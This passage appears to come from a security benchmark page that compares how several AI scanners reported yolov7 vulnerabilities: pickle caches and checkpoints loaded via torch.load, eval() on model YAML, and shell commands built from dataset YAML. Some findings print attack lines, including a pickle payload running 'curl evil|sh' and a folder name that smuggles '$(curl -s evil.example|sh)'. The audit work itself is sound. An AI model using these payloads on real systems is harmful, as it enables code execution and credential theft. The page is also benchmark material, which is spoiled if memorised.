labels.cacheortrain.cachepickle (a __reduce__ payload) in the position the loader expects. The victim points train.py or test.py at the dataset. create_dataloader constructs LoadImagesAndLabels, finds cache_path.is_file() true, and calls torch.load(cache_path). The pickle executes arbitrary Python as the victim user before any validation of the cache contents. The commented-out hash check at lines 393-394 means nothing authenticates the cache. - Recommendation
-
Do not unpickle caches from the dataset directory. Store the cache in a non-executable format (JSON, or np.load with allow_pickle=False), or use torch.load(..., weights_only=True) with an allowlist. Verify the hash that is currently commented out, and fall back to rebuilding the cache on any load or validation error. Also CWE-353: Never torch.load a cache file from the dataset directory without verification. Store the cache in a trusted location or sign it with an HMAC using a local secret. Use a real content hash such as SHA-256 over the label and image file metadata, and re-validate it on load. Load with weights_only=True or a non-pickle format such as JSON or npz. Re-enable the version and hash comparison. Also CWE-354: Re-enable the invalidation check using a real digest such as SHA-256 over file paths, sizes and contents or mtimes. Store the cache as a non-pickle format such as npz or json, or load it with weights_only semantics, and treat dataset-supplied cache files as untrusted.
Claude Security (Opus 5.5)
Unsafe pickle deserialization of dataset-supplied *.cache file via torch.load enables code execution
utils/datasets.py:392Predicted severity: High- Root cause
-
Vulnerable symbol: LoadImagesAndLabels.__init__
Preconditions: Victim trains or tests on a dataset directory or list file that the attacker supplied or can write to; Installed torch version < 2.6 (any version allowed by requirements.txt up to 2.5.x), where torch.load defaults to weights_only=False
Offending code:
cache, exists = torch.load(cache_path), True # load
- Impact
-
Arbitrary code execution on the training or evaluation host, often a GPU server holding credentials, other datasets and model weights. This compromises confidentiality, integrity and availability for the user running training.
- Description
-
The *.cache file sits next to the dataset list file (e.g. train.txt becomes train.cache) or next to the labels directory (labels/<split>.cache), so whoever supplies the dataset can ship it. If that file exists, LoadImagesAndLabels.__init__ passes it straight to torch.load() with no weights_only and no integrity check. On torch versions before 2.6, which requirements.txt allows (torch>=1.7.0), that call fully unpickles the file.
- Exploit scenario
-
An attacker publishes a dataset archive (on a dataset hub, in a shared drive, or as a 'coco128-style' download) containing data.yaml, train.txt, images/, labels/, plus a crafted train.cache (or labels/train.cache) file. The cache file is a pickle whose __reduce__ returns (os.system, ('curl evil|sh',)). The victim runs
python train.py --data data.yamlorpython test.py --data data.yaml. create_dataloader -> LoadImagesAndLabels finds the existing cache file and calls torch.load(cache_path). Unpickling runs the attacker's payload with the victim's privileges before any image or label is checked. The hash comparison that would have rebuilt the cache is commented out, so the planted cache is always used. - Recommendation
-
Do not unpickle cache files. Store the label cache in a non-executable format, e.g. np.save with allow_pickle=False for the arrays plus JSON for the metadata, or at least call torch.load(cache_path, weights_only=True). Restore the hash/version check, and use a real content hash (e.g. SHA-256 over the file list and contents) instead of summed file sizes. Consider writing caches to a user-owned cache directory rather than trusting a file found next to the dataset.
Vercel Security Review
Dataset-supplied label caches can execute code during training or evaluation
utils/datasets.py:392Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. Dataset selection enters the new evaluation loader** -
test.py:90-91```python title="test.py:90-91"
dataloader = create_dataloader(data[task], imgsz, batch_size, gs, opt, pad=0.5, rect=True,
prefix=colorstr(f'{task}: '))[0]
```
**2. The dataset path reaches the label loader automatically** -
utils/datasets.py:67-70```python title="utils/datasets.py:67-70"
with torch_distributed_zero_first(rank):
dataset = LoadImagesAndLabels(path, imgsz, batch_size,
augment=augment, # augment images
hyp=hyp, # augmentation hyperparameters
```
**3. A companion cache is deserialized as executable objects** -
utils/datasets.py:389-392```python title="utils/datasets.py:389-392"
self.label_files = img2label_paths(self.img_files) # labels
cache_path = (p if p.is_file() else Path(self.label_files[0]).parent).with_suffix('.cache') # cached labels
if cache_path.is_file():
cache, exists = torch.load(cache_path), True # load
```
A dataset distributor can include this predictable
.cachefile. On supported pre-2.6 PyTorch versions, pickle deserialization executes attacker code as the training/evaluation user before cache contents are examined. Neither explicit checkpoint selection nor--cache-imagesis required. - Exploit scenario
-
Not specified.
- Recommendation
-
Replace pickle-backed label caches with a data-only format and validate their schema. Ignore caches supplied with external datasets and regenerate them from images and text labels; do not rely on checks performed after torch.load.
-
Parsing of YAML config file can lead to arbitrary code execution yolov7-3 · 5 writeups High
V12
Model definitions evaluate arbitrary Python expressions
train.py:83Predicted severity: High- Root cause
-
Architecture parsing reinterprets YAML strings as arbitrary Python expressions using
evalinstead of constrained module lookup and literal argument parsing. - Impact
-
A supplier of a model-definition YAML can execute Python and operating-system commands as the trainer without supplying an executable pickle checkpoint. The consequence applies to training from scratch as well as architecture reconstruction, independently of changes to PyTorch's checkpoint loading defaults.
- Description
-
Training accepts a model architecture file through
--cfgand passes it toModel, or reconstructs architecture from a loaded checkpoint's model YAML. AlthoughModelusesSafeLoaderfor a file,parse_modelsubsequently evaluates string module names and string arguments with Pythoneval. An expression such as(__import__('os').system('touch MODEL_MARKER'), nn.Identity)[1]in a module-name field executes before module construction. The argument-evaluation exception handler does not roll back side effects and is not a sandbox. No module allowlist or literal-only argument decoder intervenes in this path.
Devin Security (Deep)
torch.hub custom() loader runs code embedded in any model file it is given
hubconf.py:57Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who gets a user to load their model file through the torch.hub
custom()entry point can run any program on that user's machine with the user's permissions.##### What's wrong
This is unsafe deserialization.
custom()passes the caller's file path straight totorch.load, which reads the file with Python pickle, and pickle can call any Python function while it reads. The function then builds a fresh model from theyamldict stored inside the same file, andparse_modelrunseval()on the strings in that dict.##### Who can do it
Alice, an engineer at Acme Corp, finds a "YOLOv7 fine-tuned for forklifts" checkpoint that Mallory posted on a model-sharing site. Alice runs
torch.hub.load('WongKinYiu/yolov7', 'custom', 'forklift.pt'), which is the documented way to load a custom model. Mallory's code runs while the file loads, before Alice sees any output.- Alice loads a
.ptfile that Mallory created, throughcustom().- The installed PyTorch is older than 2.6, so
torch.loaddefaults to full pickle loading.requirements.txtallows anytorch>=1.7.0, and newer PyTorch refuses these full-model checkpoints, so users often stay on older versions.##### What they get
Mallory's code runs as Alice's user on Alice's workstation or on Acme's GPU training server. She can copy cloud keys, SSH keys, and private datasets from that machine and use them to reach other Acme systems. The damage is limited to machines where someone loads her file.
##### How it works
1.
custom()at hubconf.py:68 callstorch.load(path_or_model)on the caller's path withoutweights_only=True.2. Pickle rebuilds the objects in the file and calls whatever callable Mallory stored in an object's
__reduce__data.3. If the file carries no pickle payload, hubconf.py:72 still passes the file's own
model.yamldict toModel().4.
parse_modelat models/yolo.py:744-747 runseval()on each module name and argument string from that dict, so a crafted string such as__import__('os').system(...)also runs. - Exploit scenario
-
Not specified.
- Recommendation
-
Load checkpoints with
torch.load(path, map_location=..., weights_only=True)and keep only tensors (astate_dict) in shared files, or switch to safetensors. Build the model from a trusted cfg in the repo instead of from the checkpoint'syamldict. Inparse_model, replaceeval()with a lookup in an explicit dict of allowed module classes and parse arguments withast.literal_evalplus a small table of known names (nc,anchors). Until then, document thatcustom()must only receive trusted files. To check the fix, create a test.ptwhose pickle payload writes a marker file, load it throughcustom(), and confirm that loading fails and the marker file is never created.
Devin Security
Model config strings are passed to eval() in parse_model
models/yolo.py:742Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A malicious model config file, or a checkpoint that embeds one, runs arbitrary Python when someone builds the model.
##### What's wrong
This is code injection through
eval.parse_modelcallsevalon the module name and on every string argument in the model YAML'sbackboneandheadlists.##### Who can do it
Mallory shares a custom architecture YAML. Alice, an engineer at Acme Corp, runs
train.py --cfg mallory.yaml. A module entry such as__import__('os').system('...')runs as Alice.- The victim builds a
Modelfrom a YAML file or dict the attacker wrote, through--cfgor theyamlattribute of a loaded checkpoint (train.py:88, hubconf.py:73).##### What they get
Mallory runs code on Alice's machine with Alice's permissions. She can read credentials and data there.
##### How it works
1.
Model.__init__loads the cfg withyaml.SafeLoader, which still returns plain strings (models/yolo.py:518).2.
parse_modelcallseval(m)on each module name (models/yolo.py:744).3. It also calls
eval(a)on each string argument (models/yolo.py:747). - Exploit scenario
-
Not specified.
- Recommendation
-
Look up module names in an explicit dict of allowed classes. Handle constants like
ncandanchorsby name, and parse numbers withast.literal_eval. Reject anything else. To check the fix, load a cfg whose module is__import__('os').system('id')and confirm that it raises an error instead of running.
Codex Security (GPT-6 Sol)
Loading a model YAML can execute Python code
models/yolo.py:744Predicted severity: High- Root cause
-
Modelparses a caller-selected architecture file as YAML and forwards itsbackboneandheadentries toparse_model(). That function uses unrestrictedeval()for module and argument strings instead of a fixed symbol registry and literal parser. - Impact
-
Arbitrary code execution follows from a common model import workflow when a less trusted architecture file is accepted; no service exposure is required.
- Description
-
A model YAML selected with
--cfgreachesparse_model(), which evaluates its layer names and argument strings as Python expressions. A crafted model configuration can execute code with the training process's authority. - Exploit scenario
-
--cfg->ModelYAML read ->parse_model->eval - Recommendation
-
Replace
eval()with an allowlisted layer registry and constrained parsing of supported literal arguments.
Vercel Security Review
Model YAML fields are evaluated as unrestricted Python expressions
models/yolo.py:744Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A supplied architecture is loaded as YAML data** -
models/yolo.py:516-518```python title="models/yolo.py:516-518"
self.yaml_file = Path(cfg).name
with open(cfg) as f:
self.yaml = yaml.load(f, Loader=yaml.SafeLoader) # model dict
```
The new training callers accept this file through
--cfg(train.py:95,train_aux.py:95), letting a model-config distributor control its contents.**2. The loaded data reaches model parsing without expression validation** -
models/yolo.py:528```python title="models/yolo.py:528"
self.model, self.save = parse_model(deepcopy(self.yaml), ch=[ch]) # model, savelist
```
**3. Architecture strings become unrestricted Python code** -
models/yolo.py:744-747```python title="models/yolo.py:744-747"
m = eval(m) if isinstance(m, str) else m # eval strings
for j, a in enumerate(args):
try:
args[j] = eval(a) if isinstance(a, str) else a # eval strings
```
A malicious module or argument expression executes with the training user's privileges during construction, despite SafeLoader, without supplying Python source or a pickled checkpoint.
- Exploit scenario
-
Not specified.
- Recommendation
-
Resolve module names using an explicit allowlist of supported classes. Parse argument literals with ast.literal_eval or typed schema validation, resolving required symbolic names through a fixed dictionary rather than eval. Reject unsupported expressions before constructing layers.
-
Untrusted pre-trained models can lead to arbitrary code execution yolov7-4 · 3 writeups High
V12
Model definitions evaluate arbitrary Python expressions
train.py:83Predicted severity: High- Root cause
-
Architecture parsing reinterprets YAML strings as arbitrary Python expressions using
evalinstead of constrained module lookup and literal argument parsing. - Impact
-
A supplier of a model-definition YAML can execute Python and operating-system commands as the trainer without supplying an executable pickle checkpoint. The consequence applies to training from scratch as well as architecture reconstruction, independently of changes to PyTorch's checkpoint loading defaults.
- Description
-
Training accepts a model architecture file through
--cfgand passes it toModel, or reconstructs architecture from a loaded checkpoint's model YAML. AlthoughModelusesSafeLoaderfor a file,parse_modelsubsequently evaluates string module names and string arguments with Pythoneval. An expression such as(__import__('os').system('touch MODEL_MARKER'), nn.Identity)[1]in a module-name field executes before module construction. The argument-evaluation exception handler does not roll back side effects and is not a sandbox. No module allowlist or literal-only argument decoder intervenes in this path.
Devin Security (Deep)
torch.hub custom() loader runs code embedded in any model file it is given
hubconf.py:57Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who gets a user to load their model file through the torch.hub
custom()entry point can run any program on that user's machine with the user's permissions.##### What's wrong
This is unsafe deserialization.
custom()passes the caller's file path straight totorch.load, which reads the file with Python pickle, and pickle can call any Python function while it reads. The function then builds a fresh model from theyamldict stored inside the same file, andparse_modelrunseval()on the strings in that dict.##### Who can do it
Alice, an engineer at Acme Corp, finds a "YOLOv7 fine-tuned for forklifts" checkpoint that Mallory posted on a model-sharing site. Alice runs
torch.hub.load('WongKinYiu/yolov7', 'custom', 'forklift.pt'), which is the documented way to load a custom model. Mallory's code runs while the file loads, before Alice sees any output.- Alice loads a
.ptfile that Mallory created, throughcustom().- The installed PyTorch is older than 2.6, so
torch.loaddefaults to full pickle loading.requirements.txtallows anytorch>=1.7.0, and newer PyTorch refuses these full-model checkpoints, so users often stay on older versions.##### What they get
Mallory's code runs as Alice's user on Alice's workstation or on Acme's GPU training server. She can copy cloud keys, SSH keys, and private datasets from that machine and use them to reach other Acme systems. The damage is limited to machines where someone loads her file.
##### How it works
1.
custom()at hubconf.py:68 callstorch.load(path_or_model)on the caller's path withoutweights_only=True.2. Pickle rebuilds the objects in the file and calls whatever callable Mallory stored in an object's
__reduce__data.3. If the file carries no pickle payload, hubconf.py:72 still passes the file's own
model.yamldict toModel().4.
parse_modelat models/yolo.py:744-747 runseval()on each module name and argument string from that dict, so a crafted string such as__import__('os').system(...)also runs. - Exploit scenario
-
Not specified.
- Recommendation
-
Load checkpoints with
torch.load(path, map_location=..., weights_only=True)and keep only tensors (astate_dict) in shared files, or switch to safetensors. Build the model from a trusted cfg in the repo instead of from the checkpoint'syamldict. Inparse_model, replaceeval()with a lookup in an explicit dict of allowed module classes and parse arguments withast.literal_evalplus a small table of known names (nc,anchors). Until then, document thatcustom()must only receive trusted files. To check the fix, create a test.ptwhose pickle payload writes a marker file, load it throughcustom(), and confirm that loading fails and the marker file is never created.
Devin Security
hubconf custom() unpickles the given path with torch.load
hubconf.py:68Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Code that passes an untrusted file path to
custom()lets the file's author run code in that process.##### What's wrong
This is unsafe deserialization.
custom()callstorch.loadonpath_or_modelwithoutweights_only=True. It then builds a new model from the checkpoint'syaml, which also reaches theevalcalls inparse_model.##### Who can do it
Alice, an engineer at Acme Corp, calls
torch.hub.load(repo, 'custom', path_or_model='model.pt')with a file Mallory gave her. Mallory's pickle payload runs in Alice's Python process.- The caller passes a checkpoint path that the attacker controls.
##### What they get
Mallory runs code with Alice's permissions on the host.
##### How it works
1.
custom()callstorch.load(path_or_model)(hubconf.py:68).2. It calls
Model(model.yaml), which sends the embedded config toparse_model(hubconf.py:73). - Exploit scenario
-
Not specified.
- Recommendation
-
Use
weights_only=Trueor safetensors, and do not rebuild the model from a config embedded in the checkpoint. To check the fix, confirm that a crafted pickle passed tocustom()raises an error.
-
Multiple uses of os.system could allow command injection yolov7-5 · 5 writeups High
V12
Dataset metadata executes arbitrary shell commands
utils/general.py:156Predicted severity: High- Root cause
-
check_datasetgrants dataset metadata shell-execution authority without an explicit trust boundary. Its URL-handling branch also treats a downloaded filename as shell syntax rather than passing it as a literal argument. - Impact
-
An untrusted dataset configuration can cause commands to run with the training or evaluation process's filesystem, network, and credential access. Exploitation requires ingestion of the configuration and a missing validation path; the ZIP-filename variant additionally requires a successful download.
- Description
-
check_datasettakes thedownloadvalue from dataset metadata and executes it withos.systemwhen a declared validation path is missing. Both training and evaluation load dataset YAML withyaml.SafeLoaderand pass the resulting dictionary to this helper, so safe YAML parsing does not prevent the later command execution. A non-URL value is executed directly, without an explicit execution opt-in or a restriction to repository-owned download scripts. The ZIP-URL branch also interpolates the URL basename into an unquoted shell command, so shell syntax in an otherwise accepted URL filename is interpreted after the download succeeds. This lets a supplied dataset configuration carry executable instructions rather than only dataset metadata.
Devin Security (Deep)
resume.py unpickles every last.pt under the working directory and puts its path into a shell command
utils/aws/resume.py:14Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Someone who can put a file or folder under the directory where an operator runs
utils/aws/resume.pycan run commands as that operator. The script must be started by hand, so the realistic attacker pool is small.##### What's wrong
This is unsafe deserialization combined with OS command injection. The script walks the current directory for every
last.pt, loads each one withtorch.load, and does not setweights_only=True, so a crafted file runs code during loading. The script then builds a shell command string that includes the file's full path and passes it toos.system. Shell characters in any folder name on that path, such as$(...)or;, run as commands.##### Who can do it
Alice, an operator at Acme Corp, runs
python utils/aws/resume.pyinside the yolov7 folder on a shared GPU instance to restart interrupted runs. Mallory has a low-privilege account on the same instance. The repo'suserdata.shmade the yolov7 tree world-writable withchmod -R 777. Mallory creates a folder namedx$(curl -s evil.example|sh)under it. She addsweights/last.pt, a plain dictionary whoseoptimizerkey is not None, and anopt.yaml. When Alice runs the script, Mallory's command runs as Alice. The same result follows if Alice unpacks a third-party training run archive into the repo folder.Conditions that must hold:
- The attacker can create files or folders anywhere under the operator's working directory. Examples are a local account on a box where
utils/aws/userdata.shran itschmod -R 777, or an untrusted archive the operator extracts there.- The operator runs
python utils/aws/resume.pyfrom that directory. The automatic restart path inuserdata.shchecks for ayolorfolder that the script never creates, so in practice the operator must start resume.py by hand.- The pickle payload works only on PyTorch versions before 2.6. The folder-name injection also works on newer versions, because a plain dictionary still loads with the default
weights_only=True.##### What they get
Mallory runs commands as Alice, often root inside the training container. She can read Alice's cloud and W&B credentials, change Acme's training code or model weights, and use the box to reach other Acme systems. The impact stays on that machine and the credentials stored there.
##### How it works
1.
Path('').resolve().rglob('*/**/last.pt')collects everylast.ptat any depth under the current directory (utils/aws/resume.py:14-15).2. Each match is passed to
torch.load(last)with noweights_onlyrestriction, so a crafted pickle runs code right away (utils/aws/resume.py:16).3. If the loaded object has a non-None
optimizer, the script readsopt.yamltwo levels up (utils/aws/resume.py:17-22).4. The absolute path of the file is placed unquoted into the command string
python train.py --resume {last}(utils/aws/resume.py:29-35).5.
os.system(cmd)runs the string through/bin/sh, so$(...)or;in any folder name runs as a command (utils/aws/resume.py:37). - Exploit scenario
-
Not specified.
- Recommendation
-
Pass the arguments as a list to subprocess.Popen, for example ['python', 'train.py', '--resume', str(last)], with no shell. Redirect output with the stdout and stderr arguments instead of shell syntax. Load checkpoints with torch.load(last, weights_only=True), or read only the metadata you need from a sidecar file. Limit the search to the runs/ folder instead of the whole working directory. Remove the chmod -R 777 from utils/aws/userdata.sh. To check the fix, create runs/train/x$(touch /tmp/pwned)/weights/last.pt holding a dictionary with a non-None optimizer, plus a matching opt.yaml. Run resume.py and confirm /tmp/pwned is never created.
Devin Security
Dataset YAML 'download' field is run as a shell command
utils/general.py:156Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
Anyone who gets a user to train or test on their dataset YAML file can run any shell command on that user's machine.
##### What's wrong
This is command injection.
check_datasetpasses thedownloadstring from the data YAML straight toos.systemwhen thevalpath does not exist.##### Who can do it
Alice, an engineer at Acme Corp, downloads a public dataset config shared by Mallory and runs
python train.py --data mallory.yaml. Mallory setvalto a path that does not exist anddownloadto a shell command. The command runs as Alice.- The victim runs
train.py,train_aux.pyortest.pywith a data YAML the attacker wrote.- The YAML's
valpath does not exist on the victim's machine.- The
downloadvalue does not both start withhttpand end with.zip.##### What they get
Mallory runs code on Alice's training server. She can steal cloud keys, dataset files and model weights from that machine, or plant a backdoor. The harm is limited to the machine and accounts Alice uses for training.
##### How it works
1.
train.pyloads the YAML from--dataand callscheck_dataset(data_dict)(train.py:63-64, 97).2.
check_datasetreadsdownloadand checks that thevalpaths exist (utils/general.py:158-162).3. If the value is not an http zip URL, it calls
os.system(s)with the raw string (utils/general.py:170).4. For a zip URL, the file name from the URL is also put into an unquoted
unzip ... && rmshell string (utils/general.py:166-168). - Exploit scenario
-
Not specified.
- Recommendation
-
Do not run shell scripts from the dataset YAML. Accept only http(s) zip URLs and download them with torch.hub. Extract with Python's zipfile after checking that each member path stays inside the target directory, and do not build a shell string. If script support must stay, require an explicit opt-in flag and print the command before running it. To check the fix, set
download: 'touch /tmp/pwned'with a missingvalpath and confirm that no file is created.
Codex Security (GPT-6 Sol)
Loading a dataset YAML can run a shell command
utils/general.py:170Predicted severity: High- Root cause
-
Training and evaluation safely parse dataset YAML, then
check_dataset()treats itsdownloadfield as a shell program. The file supplier can select a nonexistent validation path to trigger the command branch. - Impact
-
Code execution is direct in the supported dataset setup workflow; the attacker must have a less trusted YAML selected.
- Description
-
A dataset YAML's
downloadvalue is passed toos.system()when its validation path is missing. A dataset provider can make training or evaluation execute an arbitrary command. - Exploit scenario
-
--dataYAML ->check_dataset->os.system - Recommendation
-
Remove executable commands from dataset YAML; make downloads an explicit trusted setup action and use structured URL download APIs.
Claude Security (Opus 5.5)
Google Drive downloads use scheme-less URLs, so curl fetches them over cleartext HTTP before the archive is unzipped into the CWD
utils/google_utils.py:72Predicted severity: Low- Root cause
-
Vulnerable symbol: gdrive_download
Preconditions: A user calls gdrive_download() by hand. The repository has no in-tree caller; the docstring tells users to import and call it.; The attacker is on the network path (e.g. shared Wi-Fi, a malicious proxy, DNS spoofing).
Offending code:
r = os.system(s) # execute, capture return
- Impact
-
An on-path attacker can tamper with downloaded content, plant files in the working directory and reach code execution. The Drive confirm token also travels in cleartext.
- Description
-
All three curl invocations pass 'drive.google.com/uc?...' with no scheme. curl defaults scheme-less URLs to http://, so the request, the confirm-token cookie and the downloaded content go over cleartext with -L redirect following. No integrity check follows, and the result is unzipped into the current directory or used as the requested file. Also CWE-78: The first curl request has no URL scheme, so curl fetches http://drive.google.com in cleartext and saves the server's cookies to ./cookie. get_token() returns the last field of any cookie line containing 'download'. That value goes into a double-quoted shell string where $(...) and backticks still expand, and os.system() runs it. The id and file parameters are also interpolated without quoting. No code in the repository calls this function; it is a documented helper for manual use.
- Exploit scenario
-
A developer runs gdrive_download(id, 'data.zip') from the repo root. An on-path attacker answers the plain-HTTP request to drive.google.com with an attacker-controlled zip instead of the 301 redirect to HTTPS. The zip holds, for example, yaml.py at the archive root. unzip writes it into the CWD, and the next
python train.pyimports the attacker's yaml.py ahead of the real package. If the target is a .pt file, it is instead unpickled later by torch.load. - Recommendation
-
Use explicit https:// URLs, add --proto '=https' --proto-redir '=https' to curl, verify a known SHA-256 of the downloaded file before unzipping, and extract into a dedicated empty directory instead of the CWD. Also CWE-78: Use requests over https:// instead of os.system and curl. If curl must be used, call subprocess.run([...], shell=False), use explicit https:// URLs, and check that the confirm token matches ^[A-Za-z0-9_-]+$.
-
Insufficient input validation in triton inference server could result in uncaught exception at runtime yolov7-9 · 1 writeup Medium
V12
Extreme frame aspect ratios abort preprocessing
deploy/triton-inference-server/processing.py:6Predicted severity: Medium- Root cause
-
Letterbox dimension calculation assumes rounding down the scaled short side always leaves a positive size.
preprocess()neither clamps that size nor rejects an unsupported aspect ratio before callingcv2.resize(). - Impact
-
A media supplier able to provide sufficiently wide or tall decoded frames can abort annotation using otherwise positive frame dimensions. This provides a media-controlled denial of service against the client job, independently of the remote-detection validation failure.
- Description
-
preprocess()computes the resized short side withint()and immediately passes it tocv2.resize(), without enforcing a minimum of one pixel. With the default 640-by-640 model input, a decoded frame 2048 pixels wide and 2 pixels high takes the width-limited branch and producesnew_h = int(2 * 640 / 2048) = 0. The mirrored tall-frame case similarly produces a zeronew_w. Video mode checks only that capture opened and thatcap.read()succeeded, so neither check excludes these nonempty decoded frame shapes. The resize call consequently fails before inference, and the exception escapes the video loop.
-
Improper use of TorchScript tracing leads to model differentials yolov7-10 · 1 writeup Medium
V12
Dynamic exports retain fixed spatial grids
export.py:67Predicted severity: Medium- Root cause
-
A Python spatial-shape cache controls whether grid construction enters the traced graph. Export declares spatial dimensions dynamic without forcing dynamic grid construction.
- Impact
-
An exported inference endpoint accepting the advertised dynamic spatial dimensions can reject valid requests when their feature dimensions differ from the export example. This supports a conditional availability failure for those requests, not a demonstrated server-wide crash or permanent outage.
- Description
-
export.py --grid --dynamicadvertises dynamic image height and width after a dry run has already populated the head's grid cache. Both heads rebuild that cache only when the current spatial dimensions differ from the cached dimensions, so tracing with the same example input skips grid construction. The resulting decoded graph uses the example-sized grid rather than constructing one from the runtime feature dimensions. Inference: an otherwise valid image with different feature-map dimensions will fail grid broadcasting instead of receiving decoded predictions. The same cache check appears in plain, implicit, and fused implicit execution.
-
Methodology and FAQ
What determines the ‘ground truth’ for what vulnerabilities exist in a codebase?
Each public fixture is derived from a published audit report. Ground truth is the set of vulnerabilities those audits surfaced and the project team accepted.
What about precision?
Precision is difficult to compare across systems because it depends on how a “bug” is defined and judged. Our ground truth is per-task — each task is a single auditor-confirmed vulnerability — so we can score “did the system find this bug?” objectively. On the other hand, we can’t fairly score “was every other finding it emitted a real bug,” because that depends on “what counts as a bug?”, which is subjective.
In practice, V12 is tuned to surface fewer, higher-signal findings. Our internal experience in real world settings flags that precision is greater than 35%, but we don’t lead with that number publicly as it’s difficult to falsify.
How were the other systems run and judged?
Codex Security, Pashov Skills, Devin Security, Devin Security (Deep), Claude Security, and Vercel Security Review each ran through its own harness. Devin Security (Deep) is Devin Security with its deep scan. We ran Claude Security twice, once on Claude Sonnet 5.5 and once on Claude Opus 5.5. Vercel Security Review reviewed one push of each project to a private GitHub repository. We ran Pashov Skills twice, once on Claude Opus 5.5 and once on Codex GPT-6 Sol. We adapted each harness’s findings to one common finding format.
All systems are judged by the same judge model. V12 is scored inside its own detect run. The harness systems, Codex Security, Pashov Skills, Devin Security, Devin Security (Deep), Claude Security, and Vercel Security Review, are scored by a separate judgment of their adapted findings.
Why are some fixtures redacted?
Some Crypto Security Bench fixtures are from audits we performed under NDA. They are included in aggregate (so the totals are honest), but project names, descriptions, and per-finding titles are redacted. General Security Bench has no redacted fixtures.
How are language groups assigned?
Fixtures are assigned by the primary language of the project codebase: Rust, C++, Solidity, and Go in Crypto Security Bench, and Rust, C++, Go, C, Java, Python, Ruby, and Haskell in General Security Bench. Private fixtures keep project names and finding details redacted, but their languages are included so the aggregate results are accurate.
Where do the public fixtures come from?
Every public Crypto Security Bench fixture is derived from a published human audit report. The link on each fixture row points to the report PDF. General Security Bench fixtures come from published security audits of open-source projects. Ground truth is the set of vulnerabilities those auditors surfaced and the project team accepted.
How is detection scored?
A finding is “detected” when the LLM judge matches the system’s emitted finding to the ground-truth vulnerability based on root cause, affected component, and impact. The judge has no access to the run that produced the finding; it sees only the finding text and the ground truth.
A subsequent human review of the judge’s decisions on a sampled subset of Crypto Security Bench found no false positives and no false negatives (with a small number of borderline cases that still identified the correct mechanism). Borderlines are treated as detections here.